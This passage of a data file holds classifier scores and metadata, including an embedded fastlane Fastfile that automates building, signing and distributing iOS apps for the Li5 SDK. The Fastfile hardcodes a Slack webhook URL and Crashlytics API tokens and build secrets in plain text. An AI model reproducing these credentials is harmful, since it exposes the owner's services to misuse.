0.0004737252640669856}, "missing_content_severity": {"0": 0.9964347867618665, "1": 0.0015661720463645882, "2": 0.0013693264332692494, "3": 0.0004595780746846665, "4": 0.0001701366838150531}, "factual_density": {"0": 0.008755280136199568, "1": 0.024583188518925634, "2": 0.18974481003624907, "3": 0.4279718595413761, "4": 0.34894486176724965}, "pretraining_utility": {"-2": 0.012731751394653684, "-1": 0.12871115397677188, "0": 0.43177293348190793, "1": 0.37258052938896213, "2": 0.05420363175770442}, "math_density": {"0": 0.9445184339905763, "1": 0.049094871545331854, "2": 0.003454952321658954, "3": 0.0009098043376522022, "4": 0.0020219378047806914}, "code_density": {"0": 0.00034073957993460235, "1": 0.0006380409972553076, "2": 0.016409487461184404, "3": 0.10656976911574054, "4": 0.8760419628458852}, "reasoning_density": {"0": 0.775821348986275, "1": 0.07920579964429131, "2": 0.11877630084059586, "3": 0.018009387951379897, "4": 0.008187162577458}, "education_level": {"none": 0.001455491509025048, "0": 0.002416707521780131, "1": 0.022866879287998777, "2": 0.7947809812200436, "3": 0.16682647118920507, "4": 0.011653469271947294}, "creative_writing_quality": {"not_applicable": 0.996840035787096, "-2": 0.00017119402387971082, "-1": 0.00042087849395142617, "0": 0.0023176173116746046, "1": 0.00018881029279943412, "2": 6.14640905988297e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.855221378646319e-05, "Art & Design": 0.000169526754513304, "Law & Crime": 7.151241912957296e-05, "Education & Careers": 8.66047880406994e-05, "Entertainment & Media": 9.73160299084851e-05, "Fashion & Beauty": 0.0001195496007646303, "Business, Economics & Finance": 0.0002154611669868047, "Food & Dining": 7.517561980098557e-05, "Games & Gaming": 0.0002711468483147679, "Electronics & Hardware": 0.00012338015964773514, "Health, Healthcare & Wellness": 5.9137788407474844e-05, "History & Geography": 8.79911852268783e-05, "Home, Pets & Hobbies": 0.00015211178199996616, "Industry & Production": 5.285612166651833e-05, "Language, Literature & Philosophy": 0.0007295163993977741, "Politics & Government": 4.6058312872542786e-05, "Religion & Spirituality": 9.993511929878989e-05, "Science, Mathematics & Engineering": 8.992394014603067e-05, "Relationships & Community": 0.008257663443616678, "Software Usage & Applications": 0.003001216210024769, "Programming & Software Engineering": 0.9837541401814366, "Sports & Fitness": 8.16771067090403e-05, "Vehicles & Transportation": 3.855479320875845e-05, "Travel & Tourism": 9.973650952688745e-05, "Other / Uncovered Subject": 0.0020304940191062854, "Unknown / Insufficient Content": 0.00012076148646161356}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007257447664340829, "Art & Design": 0.0022489429835509437, "Law & Crime": 0.0006151939597850667, "Education & Careers": 0.00034105094365841136, "Entertainment & Media": 0.0007950704216568483, "Fashion & Beauty": 0.0003931354188311472, "Business, Economics & Finance": 0.001127061046366996, "Food & Dining": 0.0002976313832011459, "Games & Gaming": 0.0005419820631148025, "Electronics & Hardware": 0.0004836596030328942, "Health, Healthcare & Wellness": 0.00032189713722133377, "History & Geography": 0.00044555429569866176, "Home, Pets & Hobbies": 0.0004817608986351135, "Industry & Production": 0.0001944546465550298, "Language, Literature & Philosophy": 0.00643265271517624, "Politics & Government": 0.0002799491350360384, "Religion & Spirituality": 0.00040567754704186196, "Science, Mathematics & Engineering": 0.00038620970589389617, "Relationships & Community": 0.031077722453434684, "Software Usage & Applications": 0.029524566074889562, "Programming & Software Engineering": 0.014580622952154242, "Sports & Fitness": 0.0002078303311721767, "Vehicles & Transportation": 0.00010583301349153119, "Travel & Tourism": 0.0003747389353423505, "Other / Uncovered Subject": 0.002908726620934293, "NONE": 0.9047023309476907}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10317, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10317, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:07.132365+00:00", "scoring_key_slot": "primary", "dataset_uid": "03c06a99-bb12-43a2-81e9-f6dd4d7fa4e6", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2c4754f2470128790bbe543d9c97d4e32a9e6ff6ff49166dc8db57d04a3603c8", "source_metadata": {"uuid": "03c06a99-bb12-43a2-81e9-f6dd4d7fa4e6", "repo_name": "yusamarina/future_letter", "relative_path": "lib/tasks/check_date.rake", "category": "TOOL", "algo_rel_score": 0.9185562133789062, "quality_score": 5.328127861022949, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 290, "repo_created_at": "2022-06-23T03:25:33.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 0, "issues": 15, "pull_requests": 0}, "file_meta": {"content_id": "9c3fccce67db152cfffc1ad2c690c33158a7269e", "size_bytes": 6377, "file_timestamp": 1675940140, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "834357c90522097b0ed35b33f57faaf4b0ee4a7f"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 290, "repo_created_at": "2022-06-23T03:25:33.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 0, "issues": 15, "pull_requests": 0}, "file_meta": {"content_id": "9c3fccce67db152cfffc1ad2c690c33158a7269e", "size_bytes": 6377, "file_timestamp": 1675940140, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "834357c90522097b0ed35b33f57faaf4b0ee4a7f", "url": "https://github.com/yusamarina/future_letter/blob/834357c90522097b0ed35b33f57faaf4b0ee4a7f/lib/tasks/check_date.rake"}, "gpt4o_tokens": 1671, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.964772486329, "noise_severity": 0.05316266290862987, "missing_content_severity": 0.0063641058722172985, "factual_density": 3.0837678342845507, "pretraining_utility": 0.3268131361382917, "math_density": 0.06682194042072913, "code_density": 3.8573341746503864, "reasoning_density": 0.4035352154894547, "education_level": 2.1626698800306996, "creative_writing_quality": -0.1428902472597309}, "score_applicability": {"education_level": 0.9985445084909749, "creative_writing_quality": 0.0031599642129040055}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/zheref/Li5-SDK/blob/c6343a4045ef242f5765f3aebf1d8183f18aab32/fastlane-legacy/Fastfile", "id": "ruby-0-39632150e485819bb990f4e6e260f817", "text": "# Customise this file, documentation can be found here:\n# https://github.com/fastlane/fastlane/tree/master/docs\n# All available actions: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Actions.md\n# can also be listed using the `fastlane actions` command\n\n# Change the syntax highlighting to Ruby\n# All lines starting with a # are ignored when running `fastlane`\n\n# If you want to automatically update fastlane if a new version is available:\n# update_fastlane\n\n# This is the minimum version number required.\n# Update this, if you use features of a newer version\nfastlane_version \"1.81.0\"\n\ndefault_platform :ios\n\nplatform :ios do\n before_all do\n ENV[\"SLACK_URL\"] = \"https://hooks.slack.com/services/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\"\n \n end\n\n desc \"Installs XCode plugin to disable fix it!\"\n lane :xcode_plugin do\n install_xcode_plugin(\n url: \"https://github.com/fastlane/FixCode/releases/download/0.5.0/FixCode.xcplugin.zip\"\n )\n end\n\n desc \"Installs all required provisionin profiles and certificates\"\n lane :match_dev do\n\n project = UI.select(\"Select your project: \", [\"com.li5.sdk.demo\", \"com.li5.buy\", \"com.li5.embed\"])\n\n case project\n when \"com.li5.sdk.demo\"\n produce(\n app_identifier: 'com.li5.sdk.demo',\n app_name: 'DemoSDK',\n language: 'English',\n app_version: '1.0',\n company_name: 'Li5, Inc.',\n skip_itc: true\n )\n\n match(app_identifier: \"com.li5.sdk.demo\", type:\"development\")\n\n when \"com.li5.buy\"\n produce(\n app_identifier: 'com.li5.buy',\n app_name: 'Li5 Buy',\n language: 'English',\n app_version: '1.0',\n company_name: 'Li5, Inc.',\n skip_itc: true\n )\n\n produce(\n app_identifier: 'com.li5.buy.test',\n app_name: 'Li5 Buy TEST',\n language: 'English',\n app_version: '1.0',\n company_name: 'Li5, Inc.',\n skip_itc: true\n )\n\n match(app_identifier: \"com.li5.buy\", type:\"development\")\n match(app_identifier: \"com.li5.buy.test\", type:\"development\")\n when \"com.li5.embed\"\n produce(\n app_identifier: 'com.li5.embed',\n app_name: 'Embed',\n language: 'English',\n app_version: '1.0',\n company_name: 'Li5, Inc.',\n skip_itc: true\n )\n\n match(app_identifier: \"com.li5.embed\", type:\"development\")\n end\n end\n\n desc \"Installs all required provisionin profiles and certificates\"\n lane :match_prod do\n produce(\n app_identifier: 'com.li5.buy',\n app_name: 'Li5',\n language: 'English',\n app_version: '1.0',\n company_name: 'Li5, Inc.'\n )\n\n match(app_identifier: \"com.li5.buy\", type:\"appstore\")\n end\n\n lane :add_device do\n device_name = prompt(text: \"Enter the device name: \")\n device_udid = prompt(text: \"Enter the device UDID: \")\n device_hash = {}\n device_hash[device_name] = device_udid\n register_devices(\n devices: device_hash\n )\n refresh_profiles\n end\n\n # A helper lane for refreshing provisioning profiles.\n lane :refresh_profiles do\n match(app_identifier: \"com.li5.buy\", type:\"development\",force: true,force_for_new_devices: true)\n match(app_identifier: \"com.li5.buy.test\", type:\"development\",force: true,force_for_new_devices: true)\n match(app_identifier: \"com.li5.embed\", type:\"development\",force: true,force_for_new_devices: true)\n match(app_identifier: \"com.li5.sdk.demo\", type:\"development\",force: true,force_for_new_devices: true)\n end\n\n desc \"Runs all the tests\"\n lane :test do\n scan(\n clean: true,\n scheme: \"li5\"\n )\n end\n\n desc \"Submit a new Beta Build to Apple TestFlight\"\n desc \"This will also make sure the profile is up to date\"\n lane :beta do |options|\n\n build(options)\n\n deliver_beta(options)\n\n end\n\n desc \"Submit a new Beta Build to Apple TestFlight\"\n desc \"This will also make sure the profile is up to date\"\n lane :build do |options|\n\n cocoapods\n\n increment_build_number # version bump\n\n case options[:app]\n when \"com.li5.sdk.demo\"\n match(\n app_identifier: \"com.li5.sdk.demo\", \n type:\"development\"\n )\n\n gym(\n scheme: \"DemoSDK\",\n toolchain: :swift_2_3,\n configuration: \"Debug\"\n )\n when \"com.li5.buy\"\n match(\n app_identifier: \"com.li5.buy\", \n type:\"development\"\n )\n\n gym(\n scheme: \"li5\",\n use_legacy_build_api: true,\n configuration: \"Debug\"\n )\n\n match(\n app_identifier: \"com.li5.buy.test\", \n type:\"development\"\n )\n\n gym(\n scheme: \"li5-Test\",\n use_legacy_build_api: true,\n configuration: \"Debug\"\n )\n when \"com.li5.embed\"\n match(\n app_identifier: \"com.li5.embed\", \n type:\"development\"\n )\n\n gym(\n scheme: \"Embed\",\n toolchain: :swift_2_3,\n configuration: \"Debug\"\n )\n end\n puts \"Version: #{get_version_number} (#{get_build_number})\"\n\n end\n\n desc \"Submit a new Beta Build to Apple TestFlight\"\n desc \"This will also make sure the profile is up to date\"\n lane :deliver_beta do |options|\n \n puts \"Version: #{get_version_number} (#{get_build_number})\"\n\n case options[:app]\n when \"com.li5.sdk.demo\"\n crashlytics(\n crashlytics_path: \"./Pods/Crashlytics\",\n api_token: \"5fc65ced6ab2d25990ed5d5ce0fc5902cadfde38\",\n build_secret: \"ed55027d5b51ac3a58762ae2626bc46e2f1eef77e6e84d9922c2fbe7e9c3c5e8\",\n groups: [“internal”],\n notifications: true,\n ipa_path: \"li5sdk-demo.ipa\"\n )\n\n when \"com.li5.buy\"\n crashlytics(\n crashlytics_path: \"./Pods/Crashlytics\",\n api_token: \"5fc65ced6ab2d25990ed5d5ce0fc5902cadfde38\",\n build_secret: \"ed55027d5b51ac3a58762ae2626bc46e2f1eef77e6e84d9922c2fbe7e9c3c5e8\",\n groups: [“internal”],\n notifications: true,\n ipa_path: \"li5.ipa\"\n )\n\n crashlytics(\n crashlytics_path: \"./Pods/Crashlytics\",\n api_token: \"5fc65ced6ab2d25990ed5d5ce0fc5902cadfde38\",\n build_secret: \"ed55027d5b51ac3a58762ae2626bc46e2f1eef77e6e84d9922c2fbe7e9c3c5e8\",\n groups: [“internal”],\n notifications: true,\n ipa_path: \"li5-Test.ipa\"\n )\n when \"com.li5.embed\"\n crashlytics(\n crashlytics_path: \"./Pods/Crashlytics\",\n api_token: \"5fc65ced6ab2d25990ed5d5ce0fc5902cadfde38\",\n build_secret: \"ed55027d5b51ac3a58762ae2626bc46e2f1eef77e6e84d9922c2fbe7e9c3c5e8\",\n groups: [“internal”],\n notifications: true,\n ipa_path: \"Embed.ipa\"\n )\n end\n\n # sh \"your_script.sh\"\n # You can also use other beta testing services here (run `fastlane actions`)\n end\n\n desc \"Deploy a new version to the App Store\"\n lane :build_appstore do\n\n cocoapods\n\n #increment_build_number\n\n match(\n app_identifier: \"com.li5.buy\", \n type:\"appstore\"\n )\n\n gym(\n scheme: \"li5\",\n use_legacy_build_api: true,\n configuration: \"Release\",\n toolchain: \"com.apple.dt.toolchain.Swift_2_3\" #Fix for fastlane error of Swift version\n ) # Build your app - more options available\n\n puts \"Version: #{get_version_number} (#{get_build_number})\"\n\n # frameit\n end\n\n desc \"Deploy a new version to the App Store\"\n lane :deliver_appstore do\n\n puts \"Version: #{get_version_number} (#{get_build_number})\"\n\n deliver(\n ipa: \"li5.ipa\",\n app_version: \"#{get_version_number}\"\n )\n \n # frameit\n end\n\n desc \"Build & Deploy a new version to the App Store\"\n lane :new_version_appstore do\n\n build_appstore\n\n deliver_appstore\n \n end\n\n desc \"Increase Version Number\"\n lane :set_version do\n \n ver = prompt(\n text: \"Enter new version number\"\n )\n\n increment_version_number(\n version_number: ver\n )\n\n end\n\n lane :refresh_dsyms do\n \n # Download dSYM files from iTC\n download_dsyms(version: \"#{get_version_number}\", build_number: \"#{get_build_number}\")\n\n # Upload them to Crashlytics\n upload_symbols_to_crashlytics\n #(dsym_path: \"./App.dSYM.zip\")\n\n # Delete the local dSYM files\n clean_build_artifacts\n\n end\n\n # You can define as many lanes as you want\n\n after_all do |lane|\n # This block is called, only if the executed lane was successful\n\n slack(\n message: \"Successfully deployed new App Update.\",\n channel: \"dev\"\n )\n end\n\n error do |lane, exception|\n\n slack(\n message: exception.message,\n channel: \"dev\",\n success: false\n )\n end\nend\n\n\n# More information about multiple platforms in fastlane: https://github.com/fastlane/fastlane/blob/master/docs/Platforms.md\n# All available actions: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Actions.md\n\n# fastlane reports which actions are used\n# No personal data is recorded. Learn more at https://github.com/fastlane/enhancer\n", "text_preview": "# Customise this file, documentation can be found here: # https://github.com/fastlane/fastlane/tree/master/docs # All available actions: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Actions.md # can also be listed using th", "input_sha256": "399327da541db03bc376e7c1b226d00771ac5b9aa7963250b294e2ddcdda4ccb", "text_sha256": "39632150e485819bb990f4e6e260f817b459c202a4ad3b364dc69aea5ee6ff0f", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16032, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.6345938254715603, "noise_severity": 0.5240834406979457, "missing_content_severity": 0.01363937450640056, "factual_density": 3.105652070234881, "pretraining_utility": 0.2753182034583929, "math_density": 0.0030255261600178433, "code_density": 3.671759919705226, "reasoning_density": 0.14822486244491634, "education_level": 2.657890894949681, "creative_writing_quality": -0.28547592907437114}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.030945327683632118, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9780364017875471, "secondary": 0.8738170105396855, "tertiary": 0.9061077872530408, "structured_records": 0.2481574902867489, "procedural_steps": 0.3088659153260817, "worked_solution": 0.0005360308330859063, "contextual_dialogue": 1.4106847731752755e-05, "content_quality": 0.45780181277401744, "noise_severity": 0.5632637994183787, "missing_content_severity": 0.9886338545779996, "factual_density": 0.5538510633880727, "pretraining_utility": 0.43621415737698843, "math_density": 0.9974787281999852, "code_density": 0.7264665997543551, "reasoning_density": 0.876479281295903, "education_level": 0.3251795401081642, "creative_writing_quality": 0.9986405736483881, "primary_topic": 0.9840030803319175, "secondary_topic": 0.9234824146843561}, "probability_margin": {"primary": 0.9658158669220148, "secondary": 0.8236275207962079, "tertiary": 0.8661704706554599, "education_level": 0.005758289385442816, "creative_writing_quality": 0.9982924035742333, "primary_topic": 0.9727642935694182, "secondary_topic": 0.8807798085540252}, "raw_probabilities": {"primary": {"Academic Writing": 8.601403734424947e-05, "Content Listing": 0.00011095316460182628, "Creative Writing": 5.67014156306604e-05, "Customer Support Page": 9.109145523464806e-05, "Q&A Forum": 4.653456989155845e-05, "Discussion Thread": 3.369275340976085e-05, "Comment Section": 6.0466512595934456e-05, "Missing Content": 6.978348567310829e-05, "Knowledge Article": 0.00022498367451284133, "Legal Notices": 8.563850871071724e-05, "News Article": 2.008767877040506e-05, "Organizational Announcement": 5.36460001690934e-05, "Nonfiction Writing": 3.263733121795111e-05, "Organizational About Page": 5.079292545901876e-05, "Personal About Page": 3.9758227521456436e-05, "Personal Blog": 2.9575364336987108e-05, "Product Page": 3.7786399784709054e-05, "Spam / Ads": 5.119222689591767e-05, "Structured Data": 0.0024258077949351167, "Technical Writing": 0.978951551713066, "Transcript / Interview": 5.8414119380249366e-05, "Tutorial / How-To Guide": 0.013135684791051231, "User Reviews": 2.8375403604267837e-05, "Other / Unknown": 0.004218830446202075}, "secondary": {"Academic Writing": 0.00047323890058807933, "Content Listing": 0.0010719614810838817, "Creative Writing": 0.0003552669824038312, "Customer Support Page": 0.0010957655481106934, "Q&A Forum": 0.00026916487708584716, "Discussion Thread": 0.00018255088282533727, "Comment Section": 0.0009263085196654066, "Missing Content": 0.0006218701008991499, "Knowledge Article": 0.0023048782819949038, "Legal Notices": 0.000743669105948191, "News Article": 0.00024625492624880433, "Organizational Announcement": 0.0003661509692514825, "Nonfiction Writing": 0.0002649077214134242, "Organizational About Page": 0.0003747519589764377, "Personal About Page": 0.00024022134891495852, "Personal Blog": 0.00026448993913235014, "Product Page": 0.0003201776999774869, "Spam / Ads": 0.00035577369346254074, "Structured Data": 0.007051252657241071, "Technical Writing": 0.04745475217075166, "Transcript / Interview": 0.0003406878121213819, "Tutorial / How-To Guide": 0.05544711430432405, "User Reviews": 0.00015415501704700243, "NONE": 0.879074635100532}, "tertiary": {"Academic Writing": 0.00040018122288386105, "Content Listing": 0.002434666036845197, "Creative Writing": 0.0003449177408060043, "Customer Support Page": 0.0015495763841135474, "Q&A Forum": 0.00020423610483495395, "Discussion Thread": 0.00015284168152744464, "Comment Section": 0.001270614938629149, "Missing Content": 0.0007915084459816929, "Knowledge Article": 0.0036235634874340755, "Legal Notices": 0.001553661942083744, "News Article": 0.00020109723624697797, "Organizational Announcement": 0.00035549619423597107, "Nonfiction Writing": 0.00022436660248346165, "Organizational About Page": 0.00035300867786222596, "Personal About Page": 0.0001834508631365503, "Personal Blog": 0.0001965693485087757, "Product Page": 0.0003651957210399106, "Spam / Ads": 0.00048111867915707476, "Structured Data": 0.005727249686490183, "Technical Writing": 0.025327268103234445, "Transcript / Interview": 0.0002742289922585132, "Tutorial / How-To Guide": 0.04384949212870419, "User Reviews": 0.00011572699733790658, "NONE": 0.9100199627841641}, "structured_records": {"false": 0.7518425097132511, "true": 0.2481574902867489}, "procedural_steps": {"false": 0.6911340846739182, "true": 0.3088659153260817}, "worked_solution": {"false": 0.999463969166914, "true": 0.0005360308330859063}, "contextual_dialogue": {"false": 0.9999858931522683, "true": 1.4106847731752755e-05}, "content_quality": {"-2": 0.011380853126101504, "-1": 0.07849733770457817, "0": 0.3168847648123485, "1": 0.4506212192856023, "2": 0.1426158250713696}, "noise_severity": {"0": 0.5620606729902929, "1": 0.3633417522763488, "2": 0.06629125702645162, "3": 0.005066096458932782, "4": 0.0032402212479737884}, "missing_content_severity": {"0": 0.9893890958465793, "1": 0.00840051206684018, "2": 0.0015763169842588306, "3": 0.00045007193824414126, "4": 0.0001840031640775736}, "factual_density": {"0": 0.004631638888915615, "1": 0.014367886666952087, "2": 0.17223263684906473, "3": 0.4882524405104705, "4": 0.32051539708459703}, "pretraining_utility": {"-2": 0.0208197586481082, "-1": 0.15897288654839406, "0": 0.39260781709371306, "1": 0.37926846811656606, "2": 0.048331069593218666}, "math_density": {"0": 0.9978360528022018, "1": 0.0017188417373446097, "2": 0.000193006929876797, "3": 8.772355938733536e-05, "4": 0.00016437497118940834}, "code_density": {"0": 0.0006107939905531637, "1": 0.0011822587229769028, "2": 0.02714328091859234, "3": 0.26796356632644586, "4": 0.7031001000414318}, "reasoning_density": {"0": 0.8840237065868058, "1": 0.08754948518292796, "2": 0.025498357859228427, "3": 0.002035139940619277, "4": 0.0008933104304184187}, "education_level": {"none": 0.0016845762578307055, "0": 0.002222037034275309, "1": 0.00984260009330219, "2": 0.4318913273713607, "3": 0.43764961675680353, "4": 0.11670984248642757}, "creative_writing_quality": {"not_applicable": 0.9988671447069901, "-2": 0.00012520309898702013, "-1": 0.00027276207423293557, "0": 0.0005747411327568312, "1": 0.00012053261913810633, "2": 3.9616367895022465e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.929562979334599e-05, "Art & Design": 0.00011257483038112533, "Law & Crime": 7.686650620339023e-05, "Education & Careers": 7.497956213826747e-05, "Entertainment & Media": 8.347899205695665e-05, "Fashion & Beauty": 6.355018117034888e-05, "Business, Economics & Finance": 0.0005441694815063947, "Food & Dining": 5.262270965961177e-05, "Games & Gaming": 0.0005535064146614311, "Electronics & Hardware": 0.000421679426281605, "Health, Healthcare & Wellness": 6.80044179567226e-05, "History & Geography": 7.211841884617785e-05, "Home, Pets & Hobbies": 5.538453899518811e-05, "Industry & Production": 7.712302644354874e-05, "Language, Literature & Philosophy": 6.797287377144702e-05, "Politics & Government": 4.705676918869466e-05, "Religion & Spirituality": 5.799964295249517e-05, "Science, Mathematics & Engineering": 0.00022305404323019293, "Relationships & Community": 3.6911424625315425e-05, "Software Usage & Applications": 0.0118540529035794, "Programming & Software Engineering": 0.9846183464729976, "Sports & Fitness": 9.428386544790855e-05, "Vehicles & Transportation": 4.250288385973591e-05, "Travel & Tourism": 8.998491311417724e-05, "Other / Uncovered Subject": 0.00040388810120439245, "Unknown / Insufficient Content": 0.00011859196993462351}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00042703356683391927, "Art & Design": 0.0004835019440554075, "Law & Crime": 0.0005995246117527669, "Education & Careers": 0.0002500049773378339, "Entertainment & Media": 0.0005606410428304611, "Fashion & Beauty": 0.00017181115713176592, "Business, Economics & Finance": 0.001805662366756055, "Food & Dining": 0.00015932399089844642, "Games & Gaming": 0.0009830144659875404, "Electronics & Hardware": 0.002020694024395576, "Health, Healthcare & Wellness": 0.00019915660825622726, "History & Geography": 0.0001806311624928804, "Home, Pets & Hobbies": 0.00014216096772800025, "Industry & Production": 0.00015402690341988491, "Language, Literature & Philosophy": 0.00012209085627983593, "Politics & Government": 0.00015488330263977473, "Religion & Spirituality": 0.0001666093539351747, "Science, Mathematics & Engineering": 0.0003567558378370901, "Relationships & Community": 0.0001140948156767086, "Software Usage & Applications": 0.04564559018093259, "Programming & Software Engineering": 0.01805110603381971, "Sports & Fitness": 0.00016324510460449476, "Vehicles & Transportation": 8.013452912321527e-05, "Travel & Tourism": 0.00020626503317805274, "Other / Uncovered Subject": 0.0003766384271387823, "NONE": 0.9264253987349578}}, "probabilities": {"primary": {"Academic Writing": 8.601403734424949e-05, "Content Listing": 0.0001109531646018263, "Creative Writing": 5.6701415630660414e-05, "Customer Support Page": 9.109145523464807e-05, "Q&A Forum": 4.653456989155846e-05, "Discussion Thread": 3.369275340976086e-05, "Comment Section": 6.046651259593447e-05, "Missing Content": 6.97834856731083e-05, "Knowledge Article": 0.00022498367451284138, "Legal Notices": 8.563850871071725e-05, "News Article": 2.0087678770405062e-05, "Organizational Announcement": 5.364600016909341e-05, "Nonfiction Writing": 3.2637331217951116e-05, "Organizational About Page": 5.079292545901878e-05, "Personal About Page": 3.975822752145644e-05, "Personal Blog": 2.9575364336987114e-05, "Product Page": 3.778639978470906e-05, "Spam / Ads": 5.1192226895917684e-05, "Structured Data": 0.002425807794935117, "Technical Writing": 0.9789515517130662, "Transcript / Interview": 5.841411938024938e-05, "Tutorial / How-To Guide": 0.013135684791051235, "User Reviews": 2.8375403604267844e-05, "Other / Unknown": 0.004218830446202076}, "secondary": {"Academic Writing": 0.0004732389005880794, "Content Listing": 0.001071961481083882, "Creative Writing": 0.00035526698240383127, "Customer Support Page": 0.0010957655481106936, "Q&A Forum": 0.0002691648770858472, "Discussion Thread": 0.0001825508828253373, "Comment Section": 0.0009263085196654067, "Missing Content": 0.00062187010089915, "Knowledge Article": 0.002304878281994904, "Legal Notices": 0.0007436691059481911, "News Article": 0.0002462549262488044, "Organizational Announcement": 0.00036615096925148255, "Nonfiction Writing": 0.00026490772141342427, "Organizational About Page": 0.00037475195897643775, "Personal About Page": 0.00024022134891495855, "Personal Blog": 0.0002644899391323502, "Product Page": 0.00032017769997748694, "Spam / Ads": 0.0003557736934625408, "Structured Data": 0.0070512526572410715, "Technical Writing": 0.047454752170751666, "Transcript / Interview": 0.00034068781212138197, "Tutorial / How-To Guide": 0.05544711430432406, "User Reviews": 0.00015415501704700246, "NONE": 0.8790746351005321}, "tertiary": {"Academic Writing": 0.0004001812228838611, "Content Listing": 0.0024346660368451973, "Creative Writing": 0.00034491774080600435, "Customer Support Page": 0.0015495763841135476, "Q&A Forum": 0.00020423610483495398, "Discussion Thread": 0.00015284168152744466, "Comment Section": 0.0012706149386291492, "Missing Content": 0.000791508445981693, "Knowledge Article": 0.003623563487434076, "Legal Notices": 0.0015536619420837441, "News Article": 0.000201097236246978, "Organizational Announcement": 0.0003554961942359711, "Nonfiction Writing": 0.00022436660248346168, "Organizational About Page": 0.000353008677862226, "Personal About Page": 0.00018345086313655034, "Personal Blog": 0.00019656934850877572, "Product Page": 0.00036519572103991063, "Spam / Ads": 0.0004811186791570748, "Structured Data": 0.0057272496864901835, "Technical Writing": 0.02532726810323445, 